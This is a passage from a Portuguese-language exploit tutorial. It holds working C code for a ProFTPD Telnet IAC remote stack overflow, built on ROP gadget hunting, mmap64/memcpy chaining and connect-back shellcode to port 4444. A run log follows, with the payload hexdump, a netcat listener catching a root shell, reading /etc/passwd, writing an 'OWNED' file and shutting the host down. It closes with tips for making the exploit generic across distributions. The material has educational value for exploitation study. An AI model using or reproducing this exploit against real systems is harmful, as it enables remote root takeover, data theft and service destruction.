      printf("\n\n\t Attempting to read memory of the server...\n");

      // Trying to find Pop Ret location

      u_int index = indexOf(read_buffer, sizeof(read_buffer), pop3ret, sizeof(pop3ret)-1);
      if(index >= 0){
         p3r += (u_int) index;
         printf("\n\t [+] Pop3Ret is located at 0x%08x", p3r);
      } else {
         printf("\n\t [-] Fail! Could not find Pop3Ret!");
      }
      index = indexOf(read_buffer, sizeof(read_buffer), large_popret, sizeof(large_popret)-1);      
      if(index >= 0){
         lpr += (u_int) index;
         printf("\n\t [+] Large PopRet is located at 0x%08x", lpr);
      } else {
         printf("\n\t [-] Fail! Could not find Large PopRet!");
      }

      // Trying to find special bytes location to shellcode copy routine

      index = indexOf(read_buffer, sizeof(read_buffer), byte1, sizeof(byte1)-1);      
      if(index >= 0){
         byte1_addr += (u_int) index;
         printf("\n\t [+] Byte1 is located at 0x%08x", byte1_addr);
      } else {
         printf("\n\t [-] Fail! Could not find Byte1!");
      }
      index = indexOf(read_buffer, sizeof(read_buffer), byte2, sizeof(byte2)-1);   
      if(index >= 0){
         byte2_addr += (u_int) index;
         printf("\n\t [+] Byte2 is located at 0x%08x", byte2_addr);
      } else {
         printf("\n\t [-] Fail! Could not find Byte2!");
      }
      index = indexOf(read_buffer, sizeof(read_buffer), byte3, sizeof(byte3)-1);      
      if(index >= 0){
         byte3_addr += (u_int) index;
         printf("\n\t [+] Byte3 is located at 0x%08x", byte3_addr);
      } else {
         printf("\n\t [-] Fail! Could not find Byte3!");
      }
      index = indexOf(read_buffer, sizeof(read_buffer), byte4, sizeof(byte4)-1);      
      if(index >= 0){
         byte4_addr += (u_int) index;
         printf("\n\t [+] Byte4 is located at 0x%08x", byte4_addr);
      } else {
         printf("\n\t [-] Fail! Could not find Byte4!");
      }
      index = indexOf(read_buffer, sizeof(read_buffer), byte5, sizeof(byte5)-1);      
      if(index >= 0){
         byte5_addr += (u_int) index;
         printf("\n\t [+] Byte5 is located at 0x%08x", byte5_addr);
      } else {
         printf("\n\t [-] Fail! Could not find Byte5!");
      }
      index = indexOf(read_buffer, sizeof(read_buffer), byte6, sizeof(byte6)-1);      
      if(index >= 0){
         byte6_addr += (u_int) index;
         printf("\n\t [+] Byte6 is located at 0x%08x", byte6_addr);
      } else {
         printf("\n\t [-] Fail! Could not find Byte6!");
      }
      index = indexOf(read_buffer, sizeof(read_buffer), byte7, sizeof(byte7)-1);      
      if(index >= 0){
         byte7_addr += (u_int) index;
         printf("\n\t [+] Byte7 is located at 0x%08x", byte7_addr);
      } else {
         printf("\n\t [-] Fail! Could not find Byte7!");
      }
      index = indexOf(read_buffer, sizeof(read_buffer), byte8, sizeof(byte8)-1);      
      if(index >= 0){
         byte8_addr += (u_int) index;
         printf("\n\t [+] Byte8 is located at 0x%08x", byte8_addr);
      } else {
         printf("\n\t [-] Fail! Could not find Byte8!");
      }
      index = indexOf(read_buffer, sizeof(read_buffer), byte9, sizeof(byte9)-1);      
      if(index >= 0){
         byte9_addr += (u_int) index;
         printf("\n\t [+] Byte9 is located at 0x%08x", byte9_addr);
      } else {
         printf("\n\t [-] Fail! Could not find Byte9!");
      }
   } else {
      printf("\t [-] Fail! Wrong write(2) offset!\n");
      close(sockfd);
   }
   
   printf("\n\n\t Building exploit buffer...\n");

   bzero(buffer, sizeof(buffer));
   memcpy(buffer+OFFSET, "\xff", 1);
   memcpy(buffer+OFFSET+1, junk, strlen(junk));                                       
   *((u_int *)(buffer+OFFSET+1+PADDING)) = MMAP64;
   *((u_int *)(buffer+OFFSET+1+PADDING+4)) = lpr;                     
   memcpy(buffer+OFFSET+1+PADDING+8, mmap64_args, sizeof(mmap64_args));

   *((u_int *)(buffer+OFFSET+1+PADDING+52)) = MEMCPY;       
   *((u_int *)(buffer+OFFSET+1+PADDING+56)) = p3r;                  
   memcpy(buffer+OFFSET+1+PADDING+60, "\x00\x00\x00\x10", 4);
   *((u_int *)(buffer+OFFSET+1+PADDING+64)) = byte1_addr;
   memcpy(buffer+OFFSET+1+PADDING+68, "\x02\x00\x00\x00", 4); 

   *((u_int *)(buffer+OFFSET+1+PADDING+72)) = MEMCPY;       
   *((u_int *)(buffer+OFFSET+1+PADDING+76)) = p3r;                  
   memcpy(buffer+OFFSET+1+PADDING+80, "\x02\x00\x00\x10", 4);
   *((u_int *)(buffer+OFFSET+1+PADDING+84)) = byte2_addr;
   memcpy(buffer+OFFSET+1+PADDING+88, "\x01\x00\x00\x00", 4);

   *((u_int *)(buffer+OFFSET+1+PADDING+92)) = MEMCPY;       
   *((u_int *)(buffer+OFFSET+1+PADDING+96)) = p3r;                  
   memcpy(buffer+OFFSET+1+PADDING+100, "\x03\x00\x00\x10", 4);
   *((u_int *)(buffer+OFFSET+1+PADDING+104)) = byte3_addr;
   memcpy(buffer+OFFSET+1+PADDING+108, "\x01\x00\x00\x00", 4);

   *((u_int *)(buffer+OFFSET+1+PADDING+112)) = MEMCPY;       
   *((u_int *)(buffer+OFFSET+1+PADDING+116)) = p3r;                  
   memcpy(buffer+OFFSET+1+PADDING+120, "\x04\x00\x00\x10", 4);
   *((u_int *)(buffer+OFFSET+1+PADDING+124)) = byte4_addr;
   memcpy(buffer+OFFSET+1+PADDING+128, "\x03\x00\x00\x00", 4);

   *((u_int *)(buffer+OFFSET+1+PADDING+132)) = MEMCPY;       
   *((u_int *)(buffer+OFFSET+1+PADDING+136)) = p3r;                  
   memcpy(buffer+OFFSET+1+PADDING+140, "\x07\x00\x00\x10", 4);
   *((u_int *)(buffer+OFFSET+1+PADDING+144)) = byte5_addr;
   memcpy(buffer+OFFSET+1+PADDING+148, "\x01\x00\x00\x00", 4);

   *((u_int *)(buffer+OFFSET+1+PADDING+152)) = MEMCPY;       
   *((u_int *)(buffer+OFFSET+1+PADDING+156)) = p3r;                  
   memcpy(buffer+OFFSET+1+PADDING+160, "\x08\x00\x00\x10", 4);
   *((u_int *)(buffer+OFFSET+1+PADDING+164)) = byte6_addr;
   memcpy(buffer+OFFSET+1+PADDING+168, "\x05\x00\x00\x00", 4);

   *((u_int *)(buffer+OFFSET+1+PADDING+172)) = MEMCPY;       
   *((u_int *)(buffer+OFFSET+1+PADDING+176)) = p3r;                  
   memcpy(buffer+OFFSET+1+PADDING+180, "\x0d\x00\x00\x10", 4);
   *((u_int *)(buffer+OFFSET+1+PADDING+184)) = byte7_addr;
   memcpy(buffer+OFFSET+1+PADDING+188, "\x01\x00\x00\x00", 4);

   *((u_int *)(buffer+OFFSET+1+PADDING+192)) = MEMCPY;       
   *((u_int *)(buffer+OFFSET+1+PADDING+196)) = p3r;                  
   memcpy(buffer+OFFSET+1+PADDING+200, "\x0e\x00\x00\x10", 4);
   *((u_int *)(buffer+OFFSET+1+PADDING+204)) = byte8_addr;
   memcpy(buffer+OFFSET+1+PADDING+208, "\x01\x00\x00\x00", 4);

   *((u_int *)(buffer+OFFSET+1+PADDING+212)) = MEMCPY;       
   *((u_int *)(buffer+OFFSET+1+PADDING+216)) = p3r;                  
   memcpy(buffer+OFFSET+1+PADDING+220, "\x0f\x00\x00\x10", 4);
   *((u_int *)(buffer+OFFSET+1+PADDING+224)) = byte9_addr;
   memcpy(buffer+OFFSET+1+PADDING+228, "\x02\x00\x00\x00", 4);

   memcpy(buffer+OFFSET+1+PADDING+232, "\x00\x00\x00\x10", 4);
   memset(buffer+OFFSET+1+PADDING+236, '\x90', 205);
   memcpy(buffer+OFFSET+1+PADDING+336, shellcode, sizeof(shellcode)-1);
   memcpy(buffer+OFFSET+1+PADDING+336+sizeof(shellcode)+9, "\x0a\x0d", 2);

   printf("\n\t Too much 00 bytes + evil buffer:\n\n");
   dump(buffer+OFFSET-4, sizeof(buffer)-OFFSET+4);

   if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1)
      fatal("in socket");

   if (connect(sockfd, (struct sockaddr *)&target_addr, sizeof(struct sockaddr)) == -1)
      fatal("connecting to target server");

   printf("\n\t Sending exploit buffer...\n");
   write(sockfd, buffer, sizeof(buffer));
   close(sockfd);

   printf("\n\t [+] Done! Enjoy your fucking shell!!!\n");
   printf("\n\n\t\t F0rb1dd3n wins!!!");
   printf("\n\t\t Flawless Victory\n");

   printf("\n   █████▒▄▄▄     ▄▄▄█████▓ ▄▄▄       ██▓     ██▓▄▄▄█████▓▓██   ██▓");
   printf("\n ▓██   ▒▒████▄   ▓  ██▒ ▓▒▒████▄    ▓██▒    ▓██▒▓  ██▒ ▓▒ ▒██  ██▒");
   printf("\n ▒████ ░▒██  ▀█▄ ▒ ▓██░ ▒░▒██  ▀█▄  ▒██░    ▒██▒▒ ▓██░ ▒░  ▒██ ██░");
   printf("\n ░▓█▒  ░░██▄▄▄▄██░ ▓██▓ ░ ░██▄▄▄▄██ ▒██░    ░██░░ ▓██▓ ░   ░ ▐██▓░");
   printf("\n ░▒█░    ▓█   ▓██▒ ▒██▒ ░  ▓█   ▓██▒░██████▒░██░  ▒██▒ ░   ░ ██▒▓░");
   printf("\n  ▒ ░    ▒▒   ▓▒█░ ▒ ░░    ▒▒   ▓▒█░░ ▒░▓  ░░▓    ▒ ░░      ██▒▒▒ ");
   printf("\n  ░       ▒   ▒▒ ░   ░      ▒   ▒▒ ░░ ░ ▒  ░ ▒ ░    ░     ▓██ ░▒░ ");
   printf("\n  ░ ░     ░   ▒    ░        ░   ▒     ░ ░    ▒ ░  ░       ▒ ▒ ░░  ");
   printf("\n              ░  ░              ░  ░    ░  ░ ░            ░ ░     ");
   printf("\n                                                          ░ ░     ");
   printf("\n\n");
}

---------------------------------------------------------------------------------------------

Vamos executar ele e ver o que acontece. O shellcode que estou utilizando é um shellcode
connect back na porta 4444, então não esqueça de deixar o netcat escutando!

let's go hack!!!

---------------------------------------------------------------------------------------------

root@kali:~/Studies# gcc exploit_proftpd.c -o exploit_proftpd
root@kali:~/Studies# ./exploit_proftpd 192.168.25.18 192.168.25.23

	 Proftpd Telnet IAC remote stack overflow exploit
	 Writen by: F0rb1dd3n

	 Target: 192.168.25.18

	 Trying write(2) offset: 0x080532d8
	 [+] Success on write(2)
	 [+] mmap64() is located at 0x08053d18
	 [+] memcpy() is located at 0x080536c8

	 Attempting to read memory of the server...

	 [+] Pop3Ret is located at 0x0805462e
	 [+] Large PopRet is located at 0x08059a09
	 [+] Byte1 is located at 0x0805a056
	 [+] Byte2 is located at 0x0805341a
	 [+] Byte3 is located at 0x08053f8b
	 [+] Byte4 is located at 0x080596b3
	 [+] Byte5 is located at 0x08053314
	 [+] Byte6 is located at 0x0806a7d8
	 [+] Byte7 is located at 0x08053c35
	 [+] Byte8 is located at 0x080532da
	 [+] Byte9 is located at 0x08054535

	 Building exploit buffer...

	 Too much 00 bytes + evil buffer:

00 00 00 00 ff 41 41 41 41 41 41 41 41 41 41 41 | .....AAAAAAAAAAA
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 | AAAAAAAAAAAAAAAA
41 41 41 41 41 41 41 18 3d 05 08 09 9a 05 08 00 | AAAAAAA.=.......
00 00 10 00 10 00 00 07 00 00 00 32 00 00 00 ff | ...........2....
ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................
00 00 00 00 00 00 00 00 00 00 00 c8 36 05 08 2e | ............6...
46 05 08 00 00 00 10 56 a0 05 08 02 00 00 00 c8 | F......V........
36 05 08 2e 46 05 08 02 00 00 10 1a 34 05 08 01 | 6...F.......4...
00 00 00 c8 36 05 08 2e 46 05 08 03 00 00 10 8b | ....6...F.......
3f 05 08 01 00 00 00 c8 36 05 08 2e 46 05 08 04 | ?.......6...F...
00 00 10 b3 96 05 08 03 00 00 00 c8 36 05 08 2e | ............6...
46 05 08 07 00 00 10 14 33 05 08 01 00 00 00 c8 | F.......3.......
36 05 08 2e 46 05 08 08 00 00 10 d8 a7 06 08 05 | 6...F...........
00 00 00 c8 36 05 08 2e 46 05 08 0d 00 00 10 35 | ....6...F......5
3c 05 08 01 00 00 00 c8 36 05 08 2e 46 05 08 0e | <.......6...F...
00 00 10 da 32 05 08 01 00 00 00 c8 36 05 08 2e | ....2.......6...
46 05 08 0f 00 00 10 35 45 05 08 02 00 00 00 00 | F......5E.......
00 00 10 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 31 c0 31 db 31 c9 b0 46 cd | .......1.1.1..F.
80 90 90 90 6a 66 58 6a 01 5b 31 c9 51 6a 01 6a | ....jfXj.[1.Qj.j
02 89 e1 cd 80 68 c0 a8 19 17 66 68 11 5c 66 6a | .....h....fh.\fj
02 89 e1 6a 10 51 50 89 e1 89 c6 6a 03 5b 6a 66 | ...j.QP....j.[jf
58 cd 80 87 f3 6a 02 59 b0 3f cd 80 49 79 f9 b0 | X....j.Y.?..Iy..
0b 31 d2 52 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 | .1.Rh//shh/bin..
52 53 89 e1 cd 80 90 90 90 90 90 90 90 90 90 90 | RS..............
0a 0d                                           | ..


	 Sending exploit buffer...

	 [+] Done! Enjoy your fucking shell!!!


		 F0rb1dd3n wins!!!
		 Flawless Victory

   █████▒▄▄▄     ▄▄▄█████▓ ▄▄▄       ██▓     ██▓▄▄▄█████▓▓██   ██▓
 ▓██   ▒▒████▄   ▓  ██▒ ▓▒▒████▄    ▓██▒    ▓██▒▓  ██▒ ▓▒ ▒██  ██▒
 ▒████ ░▒██  ▀█▄ ▒ ▓██░ ▒░▒██  ▀█▄  ▒██░    ▒██▒▒ ▓██░ ▒░  ▒██ ██░
 ░▓█▒  ░░██▄▄▄▄██░ ▓██▓ ░ ░██▄▄▄▄██ ▒██░    ░██░░ ▓██▓ ░   ░ ▐██▓░
 ░▒█░    ▓█   ▓██▒ ▒██▒ ░  ▓█   ▓██▒░██████▒░██░  ▒██▒ ░   ░ ██▒▓░
  ▒ ░    ▒▒   ▓▒█░ ▒ ░░    ▒▒   ▓▒█░░ ▒░▓  ░░▓    ▒ ░░      ██▒▒▒ 
  ░       ▒   ▒▒ ░   ░      ▒   ▒▒ ░░ ░ ▒  ░ ▒ ░    ░     ▓██ ░▒░ 
  ░ ░     ░   ▒    ░        ░   ▒     ░ ░    ▒ ░  ░       ▒ ▒ ░░  
              ░  ░              ░  ░    ░  ░ ░            ░ ░     
                                                          ░ ░     

---------------------------------------------------------------------------------------------
Em outra shell: -----------------------------------------------------------------------------

root@kali:~# nc -lnvp 4444
nc: listening on :: 4444 ...
nc: listening on 0.0.0.0 4444 ...
nc: connect to 192.168.25.23 4444 from 192.168.25.18 55610
uname -a
Linux ubuntu 2.6.35-22-generic #33-Ubuntu SMP Sun Sep 19 20:34:50 UTC 2010 i686 GNU/Linux
whoami
root
ifconfig
eth0      Link encap:Ethernet  HWaddr 00:0c:29:e4:38:55  
          inet addr:192.168.25.18  Bcast:192.168.25.255  Mask:255.255.255.0
          inet6 addr: fe80::20c:29ff:fee4:3855/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:28011 errors:0 dropped:0 overruns:0 frame:0
          TX packets:4889 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:2694445 (2.6 MB)  TX bytes:1370853 (1.3 MB)
          Interrupt:19 Base address:0x2024 

lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:52 errors:0 dropped:0 overruns:0 frame:0
          TX packets:52 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:4568 (4.5 KB)  TX bytes:4568 (4.5 KB)

cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
messagebus:x:102:105::/var/run/dbus:/bin/false
avahi-autoipd:x:103:108:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
avahi:x:104:109:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
couchdb:x:105:113:CouchDB Administrator,,,:/var/lib/couchdb:/bin/bash
usbmux:x:106:46:usbmux daemon,,,:/home/usbmux:/bin/false
speech-dispatcher:x:107:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/sh
kernoops:x:108:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false
pulse:x:109:114:PulseAudio daemon,,,:/var/run/pulse:/bin/false
rtkit:x:110:117:RealtimeKit,,,:/proc:/bin/false
saned:x:111:118::/home/saned:/bin/false
hplip:x:112:7:HPLIP system user,,,:/var/run/hplip:/bin/false
gdm:x:113:120:Gnome Display Manager:/var/lib/gdm:/bin/false
neo:x:1000:1000:Matrix,,,:/home/neo:/bin/bash
proftpd:x:114:65534::/var/run/proftpd:/bin/false
ftp:x:115:65534::/home/ftp:/bin/false

echo "hacked by F0rb1dd3n" > /home/neo/Desktop/OWNED
cat /home/neo/Desktop/OWNED
hacked by F0rb1dd3n
shutdown -h now

----------------------------------------------------------------------------------------------

Own3d!!! F0rb1dd3n wins! Agora tudo isso parece tão fácil, não? Hacking é uma arte, basta 
enchergarmos a beleza na execução dos bytes!

Vale ressaltar algumas coisas:

Como proposto pelo Kingcope no seu artigo sobre a exploração genérica do nginx para linux
systems, podemos utilizar a syscall ioctl() para ler mais memória do servidor com a chamada
de write(2). Seria algo assim:

-> ioctl plt offset
-> endereço "pop pop pop ret" gadget
-> argumentos ioctl
-> write(2) plt offset
-> argumentos para write(2)

Para efetuarmos um exploit mais genérico, podemos tentar descobrir o endereço de write(2)
fazendo bruteforce em um endereço de memória inicial incrementando em 4. Quando recebermos
os bytes, é pq achamos write(2). 

Em cada chamada de biblioteca há uma instrução "jmp" que aponta para a GOT (Global Offset 
Table). Com os bytes \xff\x25 podemos verificar o ponteiro para a GOT (que são os próximos
4 bytes depois de \xff\x25). Com esse ponteiro podemos passar como parâmetro de buffer para
uma chamada write(2) para poder ler os bytes da biblioteca chamada pelo processo. Podemos
extrair o prefixo das funções mmap64 e memcpy usando o "objdump" ou debuggando a aplicação,
então basta fazer a mesma coisa que fizemos antes: comparar. Comparando os bytes do prefixo
das funções com os bytes das bibliotecas lidos, conseguimos achar o endereço correto de
mmap64 e memcpy (assim como fizemos para acharmos os gadgets de pop pop pop ret). Essa é uma 
maneira eficaz. Uma outra forma de encontrarmos os endereços corretos de mmap64 e memcpy é
comparando os bytes dos prefixos das chamadas das funções pelo processo da aplicação
em busca de acharmos a instrução de chamada de mmap64 e memcpy (call "address"). Isso também
é outra maneira de encontrarmos os reais offsets das funções. Isso pode parecer um pouco 
complicado, mas ao debugar a aplicação isso se torna mais claro. Ou seja, é possivel fazer 
um exploit generalizado que poderá rodar em qualquer distribuição alvo. Assim asseguramos 
que teremos sempre sucesso na exploração desta falha.



Então é isso pessoal! Espero que o leitor tenha gostado e ampliado seus conhecimentos.
Qualquer dúvida, podem entrar em contato no meu e-mail f0rb1@hotmail.com.


Um abraço,

F0rb1dd3n

|=-------------------------------------------------------------------------------------=|

Referências:

Scraps of notes on remote stack overflow exploitation - by pi3
http://phrack.org/issues/67/13.html#article

Uncovering Zero-Days and advanced fuzzing - by Kingcope
http://www.exploit-db.com/docs/18924.pdf

nginx Exploit Documentation About a Generic Way to Exploit Linux Targets - by Kingcope
http://www.exploit-db.com/docs/27074.pdf

Return Oriented Programming and ROPgadget tool - by Jonathan Salwan
http://shell-storm.org/blog/Return-Oriented-Programming-and-ROPgadget-tool/

|=-------------------------------------------------------------------------------------=|